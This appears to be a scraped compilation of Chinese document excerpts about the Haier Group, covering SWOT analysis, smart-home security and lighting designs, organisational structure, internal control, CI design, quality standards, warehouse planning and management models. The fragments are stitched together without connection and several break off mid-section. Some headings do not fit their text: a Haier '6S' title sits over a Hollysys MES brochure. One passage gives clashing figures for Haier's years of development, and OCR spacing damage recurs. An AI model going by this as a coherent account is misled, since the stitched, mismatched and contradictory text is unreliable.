海尔公司安全系统设计
海尔集团的swot分析
海尔集团的swot分析众所周知，海尔集团是国内著名的家电生产企业，自1984年成立以来，它以强劲的势头跃居国内家电品牌榜首。
但与此同时，海尔也还存在着许多问题，它大刀阔斧开拓各类市场，导致原有的优势丧失，品牌信誉下降，售后服务跟不上，也同样成为其一大败笔。
下面，我将对海尔集团做一个全面系统的swot分析，找出其成功与失败的原因，同时试着指导其以后的发展。
一、内部优势条件分析（S）：目前已拥有包括白色家电、黑色家电、米色家电在内的10000多个规格品种的产品群，产品已远销世界各地。
自1998年以来，出口创汇每年以翻一番的速度增长，是中国家电业出口创汇最多的企业。
22年的创业之路，每一步，都获得了令人瞩目的辉煌成就，不仅在国内，在国际上也受到了高度赞誉与评价。
海尔针对不同层次的消费者，制订了不同的价格，通过制造差别化产品来满足差别消费人群，制订差别的价格歧视。
从而使企业形象在提升，销售量在增长，市场份额在扩大。
到目前为止海尔集团已在国内建立营销网点数万个，海外营销网点38000多个。
产品已销往世界上160多个国家和地区。
2000年实现出口创汇2.8亿美元，自1998年以来，出口创汇每年以翻一番的速度增长，是中国家电业出口创汇最多的企业。
在山东省，海尔超过专业外贸公司成为进出口额第一的企业。
海尔集团经过19年的发展，已经形成一个有冰箱辐射到空调、洗衣机彩电热水器乃至手机的庞大家电产业群。
这个产业链从青岛出发，一直延伸到个大洲的疆域，形成一条黄金产业带。
规模促进上下游企业发展，产业链降低企业经营成本，制造链湖动区域经济发展。
技术优势：海尔有9种产品在中国市场位居行业之首，3种产品在世界市场占有率居行业前三位，有其专利优势拥有软件著作权589项。
在许多技术领域处于世界领先水平，"创新驱动"型的海尔集团致力于向全球消费者提供满足需求的解决方案，实现企业与用户之间的双赢。
创新优势：海尔热水器防电墙技术、海尔洗衣机双动力技术还被纳入IEC 国际标准提案，这证明海尔的创新能力已达世界级水平。
家居智能安防系统设计
前言智能家居系统是由智能家居安防系统、网络服务系统和家庭自动化系统等子系统组成的家庭综合服务与管理集成系统。
其中，智能家居安防系统担负着保护人们生命财产安全的职责因此成为智能家居系统的首选组成部分。
智能家居给人们生活带来便利的同时也产生了巨大的社会经济效益，但是配套的安全防范技术一直是制约其安全性和智能化程度的关键因素。
传统的智能家居安防系统功能单一，智能化程度低下。
本文首先提出一种基于多元生物特征融合技术的身份识别方法，在系统兼容性和智能化程度上都有大幅提高，同时支持各种特征任意组合形式，极大提高了系统的灵活性和普适性。
在分析现有家居安全防范系统的基础上，借鉴其成功经验，从提高系统的实用性和全面性入手，给出了针对家居应用领域的智能家居安防监控系统的实施方案。
本系统综合了紧急按钮报警、红外探测器报警、图像人脸检测报警以及温度报警四种报警方式。
这样既能实现对人物入侵的有效感知，还能够随时监控温度等一些居住舒适度指标。
而将人脸检测报警机制应用其中体现了新的复合型报警方式的系统设计思想。
目录1 绪论 (3)1.1 研究背景和意义 (3)1.2 国内外现状分析 (4)2 传感器介绍....................................... 错误!未定义书签。
2.1 传感器的概述 52.2 传感器在家居安防系统中的应用 (5)3 家居安防智能监控系统方案的设计 (6)3.1 家居安防监控系统概况 (6)3.1.1 系统结构家居安全防范系统结构组成 (6)3.1.2 以海尔公司为代表的安防产品 63.1.3 家居安防监控系统的发展趋势 7 3.2 智能家居安防监控系统的需求分析 (7)3.3 智能家居安防监控系统的设计 (9)3.3.1 智能家居安防监控系统原理 (9)3.3.2 综合监控管理介绍 (11)4 系统原理图....................................... 错误!未定义书签。
海尔智慧照明系统设计方案
海尔智慧照明系统设计方案设计方案：海尔智慧照明系统一、方案背景随着人们对生活质量要求的提高，照明系统在家居、商业、工业等各个领域中的应用越来越广泛。
传统的照明系统存在着能耗高、操作不便、使用寿命短等问题。
为了解决这些问题，提高照明系统的智能化程度，海尔智慧照明系统应运而生。
二、方案目标1.降低能耗：通过智能控制和能量管理技术，减少不必要的能耗，提高能源利用率。
2.提高可操作性：通过智能化的用户界面和便捷的操作方式，提高用户对照明系统的可操作性和便利性。
3.延长使用寿命：通过使用高品质的照明设备和智能维护管理系统，延长照明设备的使用寿命，减少维护成本。
4.提升照明品质：通过智能感应、调光调色等技术，提升照明系统的亮度、色彩还原度和舒适性。
三、方案设计1.智能感应控制：照明系统将配备红外感应器和光感应器，可以识别人体和环境光照强度，根据需求智能调整照明亮度和开关状态。
在没有人员存在或光照充足时，照明系统会自动关闭或调低亮度，以达到节能的目的。
2.调光调色功能：照明系统将支持灯光的调光调色功能，用户可以根据需求选择不同的亮度和色彩，满足各种不同场景下的照明需求。
同时，照明系统可以根据时间和环境条件进行自动调节，例如在晚上或阴天增加亮度以提供更好的照明效果。
3.云端智能控制：照明系统将与云端平台连接，用户可以通过手机、平板电脑等移动设备远程控制照明系统的开关、亮度和色彩等参数。
同时，云端平台可以提供能耗统计、设备维护等功能，方便用户进行能耗管理和设备维护。
4.安全保护功能：照明系统将具备过压过流保护、短路保护、电流漏电保护等功能，并且能够自动检测和报警。
同时，照明系统还可以与安防系统等其他设备进行联动，提供更全面的安全保护。
5.数据分析与优化：照明系统将收集和记录照明设备的使用数据，通过数据分析和优化算法，优化照明设备的使用策略，提高能耗效率和设备寿命。
四、方案优势1.高度智能化：海尔智慧照明系统通过智能感应、调光调色等功能，实现了照明系统的高度智能化，提高了用户的使用体验。
生产企业ME海尔6S管理方案
生产企业M E海尔6S管理方案集团标准化工作小组 #Q8QGGQT-GX8G08Q8-GNQGJ8-MHHGN#生产企业MES解决方案目录1.简介1.1.公司介绍和利时公司创建于1993年，是从事自主开发、制造各种先进可靠的控制系统与平台，并为各行业提供专业化解决方案的自动化高科技企业，拥有过程自动化、轨道交通自动化、核电站数字化仪控系统、工厂自动化即控制与驱动、信息化等业务单元。
公司实行集团化管理，现有员工二千余人，经过十几年快速稳健的发展，和利时已经成为行业知名品牌，公司成长为国内最大的自动化控制系统制造商。
作为国家级的企业技术中心，和利时以自主技术为基础的高品质自动化平台及解决方案，在国内率先成功应用于核电站、大型火电机组、铁路提速和城市轨道交通等多种关键装备及重要工程；公司在核电、电力、石油化工、轨道交通、环保、建材、冶金、造纸、制药、机械制造等十几个行业中成功实施数以千计的工程项目，这些业绩印证了公司的产品和技术在多行业应用的广泛性、可靠性以及多种领先优势；公司品牌在国际市场上已产生一定影响，产品海外出口量逐年增长。
而今，以“中国创造，世界品质”为不懈追求的和利时，确立了“集团化、产品化、国际化”的发展战略，正努力走向世界。
坚持“真诚地为用户设想”，和利时以其独特的企业文化、稳健的发展战略、自主创新的机制，成功打造了一个由优秀的人才队伍、高标准高品质的产品、底蕴深厚的技术、精细化生产运营等要素构成的优势平台，能为客户提高生产效率、节能降耗，保护环境提供可靠、实用、满意放心的服务。
杭州和利时自动化有限公司和利时下属的子公司，成立于2003年9月，专业从事自动控制和工厂信息化。
作为过程自动化系统的生产基地、销售中心和工程服务中心，秉承了和利时在工控领域逾十年的队伍、能力、品牌和商誉。
自成立以来，通过每年逾千项自动化工程的锤炼，杭州和利时已经成为国内一流的自动化控制系统和信息化工程服务商。
杭州和利时公司HOLLiAS工业控制平台下拥有一系列先进、实用、可靠的工业自动化系统，包括MACS-F、MACS-S工业控制系统DCS，面向装备制造业的DEH、ETS等专业控制系统，以及相关产品LK大型、LM小型可编程控制器PLC、面向工厂信息化的HOLLiAS-MES。
(组织设计)海尔的组织结构图
海尔的组织结构和结构设计海尔，创造中国的世界名牌海尔的口号：“真诚到永远”海尔精神——敬业报国，追求卓越壹、“海尔”简介海尔集团创立于1984年，经过20多年的持续稳定发展，现已成为世界第四大白色家电制造商、中国最具价值品牌。
“海尔”旗下现拥有240多家法人单位，且于全球30多个国家建立了本土化的设计中心、制造基地和贸易公司，全球员工总数超过五万人，是中国唯壹壹个世界最具影响力排行前100名的集团企业，重点发展科技、工业、贸易、金融四大支柱产业，现已发展成为全球营业额超过1000亿元规模的跨国企业集团。
海尔集团创始人、董事长张瑞敏海尔集团现任总裁杨绵绵海尔于美国海尔于欧洲海尔于南亚海尔于亚太海尔于西亚海尔于非洲海尔于中东海尔于中国海尔集团行政结构图海尔集团生产结构图二、“海尔集团”组织结构简介关注“海尔”的人均知道，为了应对网络经济和加入WTO带来的挑战，“海尔”从1998年就开始实施以市场链为纽带的业务流程再造。
于第壹个五年中，“海尔”主要实现了组织结构的再造：变传统企业金字塔式的直线职能结构，为扁平化、信息化和网络化的市场链流程；以定单信息流为中心，带动物流、资金流的运动，加快了用户零距离、产品零库存和营运零资本的"三零"目标的实现。
三、“海尔”组织结构分析从“海尔集团”的组织结构图中我们能够见到，“海尔”现行超事业部制的组织结构。
事业部制，又称部门化结构或分权组织，它是于公司统壹领导下，按产品、地区或市场不同建立事业部或分公司。
各事业部分别进行产品设计、采购、生产和销售活动。
事业部既是于总公司控制下的利润中心，又是产品生产责任单位和市场销售责任单位，具有自己的产品和独立的市场。
由于各事业部均设置相应的职能部门，造成管理层次和管理人员较多，管理机构重叠，管理成本较高。
所以，“海尔集团”于此基础上，按照规模经济及专业化分工的原则，将各产品事业部的采购职能、仓储职能、运输职能整合为壹个新的部门——物流推进本部，由物流推进本部统壹行使各产品事业部的上述3种职能；将各产品事业部的国内营销功能整合为壹个新的部门——商流推进本部；将国外营销部门整合为海外流（海外推进本部）；将财务部门整合为资金流。
海尔-管理信息系统
海尔集团：信息化助力创造世界名牌海尔集团：信息化助力创造世界名牌1.海尔集团简介海尔集团成立于1984年，22年的发展历程使海尔集团由一个亏损147万元的集体企业成长为国家特大型企业集团，成为中国家电行业销售额最大、生产的产品品种和规格最多、出口量最大的企业集团，是名符其实的中国家电行业的排头兵。
海尔集团在发展的过程中之所以能够一年一个新台阶，是和海尔集团高度重视、运用、推广、发展信息化工作分不开的。
2．海尔信息化：三个阶段上三个台阶海尔的信息化建设从最初起步到现在，大致经历了基础应用、总体构架和优化调整三个发展阶段，其中每个阶段都会根据当时企业的实际需求而有不同的侧重点。
第一个阶段是基础应用阶段：企业自发地提出了信息化应用的需求，搭建海尔集团的骨干网络和基础的办公应用，主要代表是构建的基础网络和OA应用。
从1997年到现在，海尔集团已经构建了千兆为骨干的企业内部网，覆盖40多个销售公司和30个电话中心，实现数据、视频、IP电话三网合一。
第二个阶段是总体构架阶段：进入WTO之后，由于在中国市场上国际化竞争对手的大量进入，中国的制造业面临着越来越多的挑战。
为了应对激烈的市场竞争，和企业内外部的各种挑战，海尔开始实施以市场链为纽带的业务流程再造，同时改造海尔集团的信息化应用系统，提高企业的整体管理水平。
从1998～2003年，海尔内部进行了40多次结构调整，企业在发展过程中不断探索业务流程再造的最佳模式。
为了适合集团的战略发展需求，突出了流程再造成果，加速了企业管理的现代化，海尔集团系统地设计和建立了信息化应用框架和系统，配合业务管理的需求，主要实施了以下几个方面的应用：（1）建成电子商务平台，形成以信息流带动物流和资金流的业务应用平台，使海尔的供应链运行在信息化高速公路上。
2000年，海尔成为国内首家企业发布和建立B2C电子商务平台，并实现网上支付。
（2）建立全球领先的网上协同交易平台（B2B）：2000－2001年，建立了海尔集团的电子协同商务平台，2005年1-4月份实现网上交易250亿元。
海尔集团组织结构图及简介
海尔集团组织结构图及简介海尔集团组织结构图：海尔集团创立于1984年，19年来持续稳定发展，已成为在海内外享有较高美誉的大型国际化企业集团。
产品从1984年的单一冰箱发展到拥有白色家电、黑色家电、米色家电在内的96大门类15100多个规格的产品群，并出口到世界160多个国家和地区。
2003年，海尔全球营业额实现806亿元。
2003年，海尔蝉联中国最有价值品牌第一名。
2004年1月31日，世界五大品牌价值评估机构之一的世界品牌实验室编制的《世界最具影响力的100个品牌》报告揭晓，中国海尔唯一入选，排在第95位。
排行榜上，可口可乐荣登榜首，麦当劳排名第二，诺基亚排名第三。
海尔集团坚持全面实施国际化战略，已建立起一个具有国际竞争力的全球设计网络、制造网络、营销与服务网络。
现有设计中心18个，工业园10个,海外工厂及制造基地22个,营销网点58800个。
在国内市场，海尔冰箱、冷柜、空调、洗衣机四大主导产品的市场份额均达到30%左右；在海外市场，海尔产品已进入欧洲15家大连锁店的12家、美国前10大连锁店。
在美国、欧洲初步实现了设计、生产、销售“三位一体”的本土化目标。
海外工厂全线运营。
随着海尔国际化战略的推进，海尔与国际著名企业之间也从竞争向多边竞合关系发展，2002年1月8日和2月20日分别与日本三洋公司和台湾声宝集团建立竞合关系，实现优势互补、资源共享、双赢发展。
2002年3月4日，海尔在美国纽约中城百老汇购买原格林尼治银行大厦这座标志性建筑作为北美的总部，此举标志着海尔的三位一体本土化战略又上升到新的阶段，说明海尔已经在美国树立起本土化的名牌形象。
2003年8月20日，海尔霓虹灯广告在日本东京银座四丁目这一黄金地段点亮，这是中国企业第一个在东京银座竖起的广告牌，也成为中国企业在海外影响力上升的标志。
海尔在海外美誉日渐扩大：据全球权威消费市场调查与分析机构EUROMONITOR最新调查结果显示，按公司销量统计，海尔集团目前在全球白色电器制造商中排名第五，按品牌销量统计，海尔跃升全球第二大白色家电品牌。
企业内部控制体系调查研究——以海尔集团为例
不断完善公司的经营管理工作；薪酬与考核
委员会，根据公司相关制度的要求，对公司
董事和高级管理人员履职情况进行检查
沟通
风险审核 回顾事件
风险回顾
图 2 海尔集团风险评估流程图
3.控制活动 海尔集团对业务流程中关键控制点进行了严格的 控 制 ，其 中 包 括 不 相 容 职 务 相 互 分 离 、授 权 审 批 、会 计 系统、财产保护、预算、运营分析以及绩效考评等几个 重要方面的控制。比如依据各种制度规定了股东会、 董事会、独立董事、监事会及总经理在多项重要事务的 审批权限，建立了比较完善的授权审批控制体系；建立 了财产日产管理与定期清查的制度，涉及实物保管、财 产 记 录 、账 实 核 对 以 及 定 期 进 行 盘 点 等 。 企 业 通 过 风 险评估的结果，通过控制活动，将风险控制在了可接受 的范围之内。 4.信息与沟通 在 信 息 与 沟 通 方 面 ，海 尔 建 立 了 管 理 信 息 共 享 平 台 ，实 际 运 营 中 的 各 种 数 据 ，例 如 经 营 数 据 和 财 务 数 据，通过报告共享到平台上，各管理层可凭着权限及时 了 解 相 关 信 息 ，保 障 了 数 据 的 有 效 性 和 准 确 性 。 要 求 各 级 网 点 的 电 脑 连 接 内 部 网 络 ，主 要 业 务 计 算 机 不 与 外网互通，设立内部电子公文和电子邮件系统，并开设 举 报 投 诉 信 箱 ，方 便 信 息 互 通 。 同 时 为 保 障 举 报 人 的 安 全 采 取 了 一 系 列 措 施 ，保 证 沟 通 的 及 时 性 以 及 内 部 控制运行的有效性。 5.内部监督 海 尔 的 内 部 监 督 分 为 日 常 监 督 和 专 项 监 督 ，主 要 由 集 团 的 监 事 会 、审 计 委 员 会 等 进 行 。 各 监 督 机 构 职 能如图 3 所示。
CI设计
调研阶段
•确定调研总 体计划 •评估企业状 态 •对企业形象 与现状进行 调查与分析 •完成调查报 告书
设计阶段
•设计概念报 告书 •创立企业理 念 •设计视觉识 别系统
实施阶段
•标准化CI设 计手册 •对内外进行 CI系统的发 布 •落实各部门 的CI管理范 围 •建立监督机 构 •符合CI系统 的广告宣传
上海航空公司
山东航空公司
日本京都陶瓷——技术开发、协力经营、向未来挑战 南京扬子石油化工公司——团结、拼搏、突破
（3）产品质量、技术开发型 日本佳能公司——忘记了技术开发，就不配称为佳能 日本卡西欧计算机公司——开发就是经营
（4）市场经营型（经济效益型） 美国百事可乐公司——胜利是最重要的
（5）文明服务型 海尔集团——真诚到永远 美国波音公司——以服务顾客为经营目标
1、标志设计整体是个呈圆形，寓意中国石油 国际化发展战略。外观呈花朵状，体现中国 石油创造能源与环境和谐的社会责任。 2、标志设计成中心太阳初升，光芒四射，象 征着中国石油蓬勃发展，前程似锦。 3、取中国旗基本色体现石油和天然气的行业 特点。
VI手册—标志—尺寸标准
VI手册——标准字 1、企业标准字
CI代表性概念的一致性
识别表达了一种自我同一性。也就是说，自己 认识自己和别人对自己的认识趋于一致，达成共识。
二、CI的构成
CI系统是由理念识别（Mind Identity 简MI）、行为识 别（Behariour Identity 简称BI）和视觉识别（Visual Identity 简称 VI）三方面所构成。
案例 江苏启东盖天力制药公司 “白加黑” 康泰克 三九感冒灵
2、行为识别（BI）
对内：建立完善的组织制度、管理规范、职员教 育、行为规范和福利制度； 对外：社会公益文化活动、营销活动等方式来传 达企业理念。
haier质量标准
haier质量标准《海尔质量标准》一、前言海尔质量标准是海尔集团一直秉承的核心价值观之一，是海尔集团在产品研发、生产、销售、服务等方面的重要指导原则。
本标准旨在规范海尔集团内部的质量管理工作，确保产品质量符合国家标准和用户需求。
二、质量理念1. 质量是企业的生命，是赢得市场和信誉的关键。
2. 质量是设计、研发、生产、销售、服务全过程的系统工程。
3. 追求卓越，打造世界一流品质。
三、质量管理原则1. 预防为主：注重源头控制，通过设计和工艺流程的优化，减少质量问题发生的风险。
2. 持续改进：鼓励员工提出改进意见，不断完善质量管理体系。
3. 用户至上：以用户需求为导向，提供满足用户期望的产品和服务。
四、质量管理体系1. 组织架构：设立质量管理部，负责质量管理体系的建立、运行和维护。
2. 质量标准：依据国家标准和企业标准，制定详细的质量指标和检测标准。
3. 质量控制：在生产过程中进行严格的质量控制，确保产品符合质量标准。
4. 质量反馈：对产品质量进行定期检查和反馈，及时处理质量问题。
五、产品研发与设计1. 研发团队：组建专业的研发团队，具备丰富的行业经验和创新能力。
2. 市场需求：深入了解用户需求，进行市场调研，确保产品设计符合市场需求。
3. 技术创新：不断引进新技术、新工艺，提高产品技术含量和品质。
4. 试验验证：对产品设计进行充分的试验验证，确保性能稳定、安全可靠。
六、生产过程管理1. 原材料采购：严格把控原材料的品质，确保其符合质量标准。
2. 生产设备：定期维护和保养生产设备，确保其正常运行。
3. 生产流程：优化生产流程，减少生产过程中的误差和缺陷。
4. 质量控制点：在关键工序设置质量控制点，加强质量监督和检查。
七、售后服务与用户反馈1. 售后服务体系：建立完善的售后服务体系，为用户提供及时、周到的服务。
2. 问题处理：对用户反馈的问题进行及时处理和改进，不断提高产品质量和服务水平。
3. 用户满意度调查：定期进行用户满意度调查，了解用户对产品质量的评价和建议，不断改进服务质量。
海尔财务管理方案设计理念
海尔财务管理方案设计理念
海尔集团作为全球知名的家电制造商，其财务管理方案设计理念一直备受关注。
海尔集团致力于建立一个高效、透明、负责任的财务管理体系，以确保公司的财务稳健和持续发展。
在这篇文章中，我们将探讨海尔财务管理方案设计的理念，并分析其对公司发展的重要性。
首先，海尔财务管理方案设计理念强调高效性。
海尔集团注重财务流程的优化
和自动化，以提高财务管理的效率。
通过引入先进的财务管理系统和技术工具，海尔能够实现财务数据的快速收集、分析和报告，从而帮助管理层及时做出决策。
高效的财务管理能够节约公司的成本，提高资金利用效率，为公司创造更多的价值。
其次，海尔财务管理方案设计理念强调透明度。
海尔集团秉承公开、透明的原则，建立健全的财务报告体系，确保财务信息的真实、准确和完整。
海尔的股东、投资者和利益相关方能够及时了解公司的财务状况，从而更加信任和支持公司的发展。
透明的财务管理也有助于提升公司的声誉和形象，吸引更多的投资和合作机会。
最后，海尔财务管理方案设计理念强调负责任。
海尔集团将社会责任融入到财
务管理中，注重财务风险的防范和控制，保障公司和利益相关方的利益。
海尔还积极参与公益事业，履行企业的社会责任，为社会作出贡献。
负责任的财务管理有助于提升公司的可持续发展能力，为公司创造长期的价值。
总之，海尔财务管理方案设计理念以高效、透明、负责任为核心，为公司的发
展提供了坚实的基础。
海尔将继续秉承这一理念，不断完善财务管理体系，为公司的长期发展注入强大动力。
案例三海尔自动化立体仓库的规划与设计分解
案例三海尔自动化立体仓库的规划与设计分解一、立体仓库规划与设计概述海尔自动化立体仓库是海尔集团在物流领域的重要项目之一，旨在提高物流效率与现代化水平。
立体仓库规划与设计是为了实现智能化、自动化的仓储管理和物流流程，确保产品能够高效地存储和出库。
1.选址与建筑设计选取适当的地理位置，便于仓库物流的连接与配送。
根据仓库规模和需求，进行建筑设计，包括仓库总面积、层数、货架布局等。
2.仓库结构设计设计合理的立体仓库结构，包括大门、货运入口、货运出口等。
结构设计需要考虑到最大限度地节约空间，并保证货物的高效流通和分配。
3.自动化货架系统设计根据仓库需求和物流流程，设计自动化货架系统，包括货架类型、数量、布局以及与自动化设备的配合使用。
根据需求使用钢板货架、搁板货架和流利架等。
4.货架管理系统设计设计仓库管理系统，实现对货架的追踪和管理。
包括货物信息的录入、出库、库存监控、库存报警以及货物存放位置的查询等功能。
5.自动化设备选型与配置根据仓库规模和需求，选用适当的自动化设备，如自动输送带、自动堆垛机、自动叉车等。
同时，配置相应的控制系统，实现设备自动化操作与管理。
6.仓库安全系统设计为仓库设计安全系统，包括防火、消防系统、监控系统、入侵报警系统等，确保仓库内的货物和人员的安全。
7.智能化管理系统设计设计智能化管理系统，实现对仓库整体运营管理的智能化监控和控制。
包括库存管理、订单管理、运输管理、质量管理等。
8.信息系统集成设计将仓库管理系统和其他企业信息系统进行集成，实现数据的共享和流动。
确保仓库与其他业务部门的信息同步更新。
9.环境保护设计在仓库建设过程中，考虑节能减排、资源回收的设计理念，合理利用光线和通风等，减少对环境的影响。
10.运维保障设计为仓库规划与设计提供运维保障，包括设备的维护、故障排除、后期的改造和升级等。
确保仓库长期稳定运营。
三、总结与展望海尔自动化立体仓库的规划与设计需要综合考虑物流需求、技术条件和风险控制等因素，通过合理的分解和设计，实现仓库的智能化和自动化管理。
海尔集团内部控制分析
在中国经济增长放缓的大背景下，处于发展成熟、竞争充分的红海中的制造型企业面临着前所未有的挑战：产能过剩、消费萎缩、人工成本上涨要在薄如刀片的利润空间下生存发展，制造企业的商业模式和经营思路已经从早期的制造为王（生产出来不愁卖）、渠道为王（只要掌握渠道，就掌握了主动权），转变成如今的现金利润为王（只有获取现金形式的利润，企业才能真正具备强大的抗风险能力）。
然而，提升营运资金效率和效益的道理或许不难明白，要真正做到却绝非易事。
过去三十年中，绝大部分中国企业都将追求规模增长作为首要战略目标，并且在粗放式管理思想下，放弃了营运资金效率和效益。
但随着互联网时代的到来，单纯追求规模的中国企业逐渐丧失了竞争优势，尤其是在2008年金融危机爆发后，不少看上去很红火的企业，因为现金流出了问题，突然就不行了。
海尔作为一家家电制造企业，早在1980年代就意识到了现金利润对企业持续健康发展的重要性，并经过多年的摸索与实践，逐步贯彻落实现金利润战略，集团利润从2007年的18.3亿元人民币增长到2013年的108亿元人民币，利润增长4.9倍，年均复合增长率达到34%。
具体来说，海尔抓住了影响企业现金流最关键的两项指标：库存和应收账款，并由此确定了零库存、零应收的营运资金管理目标，通过一系列机制和举措，实现了营运资金效率、效益和风险控制的最优组合。
然而，海尔如何确保其营运资金管理目标的可持续性？对于像海尔这样规模和体量的制造企业，完全有能力将营运资金的压力（库存和应收的压力）转嫁给价值链的其他参与方，如上游供应商、下游经销商。
现实中不少企业就采取了这种方式。
但是，海尔意识到通过这种手段所实现的零库存、零应收是不可持续的，从长远来看，不仅损害海尔的发展，也会使整个价值链上下游陷入恶性循环。
因此，海尔进一步提出既要实现海尔自身的零库存、零应收，也要帮助价值链其他参与方缓解营运资金压力，共同实现有机增长。
各方共赢的营运资金管理零库存、零应收并非海尔首创。
07.海尔U-Home智能家居设计方案
海尔U-Home智能家居设计方案目录一、海尔U-Home数字智能家居概述 (3)二、系统设计依据 (5)三、U-home智能家居特点 (5)3.1先进的标准，保证了不同厂商不同设备的连接 (5)3.2全数字通信方式，节省布线，降低成本 (6)3.3完善的产品功能 (6)3.4时尚的外观，人性化操作 (6)3.5先进的无线控制方式 (6)3.6过硬的产品质量 (7)3.7专业的设计和安装 (7)3.8星级售后服务 (7)四、U-Home智能家居LOFT解决方案 (8)4.1系统概述 (9)4.2系统功能介绍 (10)4.2.1可视对讲/门铃 (10)4.2.2智能家居控制 (11)4.2.3家居安全防范 (13)4.2.4背景音乐 (15)4.3场景模式 (17)4.3.1起床模式 (17)4.3.2起夜模式 (17)4.3.3影音模式 (18)五、U-Home主要产品介绍 (19)5.1智能终端 (19)5.2家庭网络中心 (20)5.3智能触控面板 (21)5.4智能插座 (22)5.5红外转发器 (22)5.6智能门锁 (23)六、设备清单 (24)一、海尔U-Home数字智能家居概述智能家居是指利用先进的计算机技术、网络通信技术、综合布线技术，将与家居生活有关的名种子系统，有机地结合在一起，通过统筹管理，让家居生活更加舒适、安全、有效。
与普通的家居相比，智能家居不公具有传统的居住功能，提供舒适安全、高品位且宜人的空话生活空间；还由原来的被动静止结构转变为具有能动智慧的工具，帮助家庭与外部保持信息交流畅通，优化人们的生活方式，甚至为各种能源支出节约资金。
智能家居的基本目标是：将家庭中各种与信息相关的通信设备，家用电器和家庭保安装置通过家庭总线技术（HBS）连接到一个家庭智能化系统上进行集中的或者异地的监视、控制和家庭事务性管理，交保持这些家庭设施与住宅环境的和谐与协调。
U—ubiquitous，无处不在之意。
海尔集团—内部环境分析
小组成员：李青青18 李王丽19 李煜20 陆姝21
内部环境分析的意义
• 内部战略环境是企业内部与战略有重要关联的因素，是企业经营 的基础，是制定战略的出发点、依据和条件，是竞争取胜的根本。 在<<孙子兵法·谋攻篇>>中，孙子曰： “故曰：知己知彼, 百战不 殆；不知彼而知己，一胜一负； 不知彼不知己，每战必殆”。 因此，企业战略目标的制定及战略选择既要知彼又要知己，其中 “知己”便是要分析企业的内部环境或条件，认清企业内部的优 势和劣势。
❖ 3.激励机制
❖ 海尔的工资分档次发放，计效联酬，为管理 人员设置了海尔金银铜奖，为工人设置了海 尔希望奖，合理化建议奖，信得过班组、自 主管理班组奖，根据考核绩效，给予突出员 工以奖励。
• 4.培训机制
• 海尔有上岗前培训、适应性培训、提高 再培训几种，培训内容根据具体岗位而 定。工人接受入厂培训，中级工培训等。 管理员工实行继续教育，科研开发岗位 员工除继续教育外，可根据需要参加短 期培训和出国培训。
❖ 2.考核机制
❖ 对已经在岗的干部进行控制，每月要考评一次，根 据考评结果进行选拔上岗或淘汰降职；实行三工并 存，动态转换的用工制度，即设置优秀员工、合格 员工、适用员工三个等级，依据考核标准有升有降， 每年必须有一定比例的员工被淘汰，以保持企业人 员的活力；按实际完成值，目标值和上期完成值对 比，给予ABC三个等级的评价，月末按照考核成绩 计算出该岗位的工资金额。
海尔集团组织结构流程改造
随着企业内外部环境的变化，海尔集团原有的组织结构模式阻碍了其在新时期的 进一步发展。海尔集团在1999年末提出了集团组织结构的流程化改造的方案，一 时之间立刻拆散了各部门之间的界限，依据工作流程来重新组织企业的活动。
生产运作管理案例--海尔的“人单合一”双赢模式
海尔的“人单合一”双赢模式自从(Hammer and Champy)提出流程再造与流程型组织的概念，企业界就开始了流程再造的探索。
海尔公司90年代的“市场链再造”和目前的“人单合一”双赢模式可以称为流程再造的有益探索。
1、海尔的“市场链”再造海尔流程再造始于1998年，但基于1991年创建的OEC管理模式。
OEC是英文OVERALL EVERY CONTRAL AND CLEAR的缩写，意思是全方位地对每天每个人所做的每一件事进行控制和清理——每天的工作、每天工作的完成情况，每天出现的问题要查明原因和责任后立即处理和改善。
这是海尔在学习泰勒科学管理理论及日本TQC管理等基础上独创的管理模式。
1998年海尔进行了以“市场链”为纽带的业务流程再造，具体做法是把原来各事业部的财务、采购、销售业务全部分离出来，整合成商流推进本部、物流推进本部、资金流推进本部，实行全集团统一营销、采购、结算，这是海尔市场链的主流程；把集团原来的职能管理资源进行整合，形成创新定单支持流程3R （R&Ｄ—研发、HR—人力资源开发、CR—客户管理），和保证定单实施完成的基础支持流程3T（TCM—全面预算、TPM—全面设备管理、TQM—全面质量管理），3R和3T支持流程是以集团的职能中心为主体，注册成立独立经营的服务公司。
这是海尔市场链的支持流程。
海尔的市场链有两个非常重要的基础，就是“海尔文化”和“OEC”管理法。
SBU也是市场链再造的得以成功的重要保障。
SBU是一种由企业提供资源平台（现状水平、先进信息、问题解决渠道、支持流程），员工根据下道工序用户需求，提出创新性的解决问题方案，创造市场业绩，并从中获取报酬的一种激励制度。
其目的是让员工成为创新主体，经营自我，体现自己价值。
把企业3张表（资产负债表、损益表、现金流量表）变成每个人的SBU“经营效果兑现表”，并按照SBU的“经营收入=劳动力价格-损失+增值提成”的公式来核定员工报酬。
海尔管理信息系统案例分析.
报 告 人： 学 院：信息科学与工程学 院 专 业：信息管理与信息系 统 完成时间：2012-10-6
企业概况
海尔是世界白色家电第一品牌，1984年创立 于中国青岛。海尔集团是世界大型家用电器第 一品牌、中国最具价值品牌，世界品牌500强 企业前50名。海尔在全球建立了25个制造基 地10个综合研发中心，19个海外贸易公司， 全球员工总数超7万人，海尔集团2011年实现 全球营业额1509亿元人民币，其中海尔品牌 出口和海外销售额55亿美元。
业务流程解决方案
核心业务流程整合再造：把原来分属于各个事 业部的采购、销售、财务和进出口业务全部分 离，整合成独立经营的商流推进本部、物流本 部、资金流推进本部，实行全集团范围内统一 营销、统一采购、统一结算。 支持业务流程整合再造：从各事业部分离所有 支持业务资源如研发、人力资源开发、技术质 量管理、信息管理、设备管理等，形成独立经 营的服务公司。
效果评析
降低了供应链成本，呆滞物资降低73.8%，仓 库面积减少50%，库存资金降低67%，周转天 数缩短60%，分供方数量减少67%。 海尔 青岛信息园国际物流中心货区面积7200平方 米的吞吐量相当于30万平方米的普通平面仓库 吞吐量，海尔物流中心只有8个叉车司机，一 般仓库完成同样的工作量至少需要上百人；
企业信息系统建设动因分析
吸引供应商建厂并参与前端设计：请世界优秀 的供应商参与前端设计，获取有价值的定单。 目前很多国际化的供应商在海尔周边设厂，以 快速满足市场的要求，如爱默生、三洋等。 赢得了更多的客户，提升了海尔在国内外的品 牌形象。
管理信息系统解决方案
(1)系统目标 本系统设计以适应深化企业财会改革，加强管理、提 高经济效益的总体要求，满足企业走向市场过程中细 化成本计算、严格会计核算要求，优化系统资源配置， 强化系统软件集成，扩充系统功能，推进系统间资源 共享，优化系统开发、运用人才队伍，完成财务会计 信息管理系统向管理信息系统过渡，为企业实现集约 经营，提高经济效益服务，提高企业系统的信息化水 平，促进产业的快速健康发展为指导思想进行系统的 规划、设计、开发海尔的计算机信息网络。
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105.90 72.00
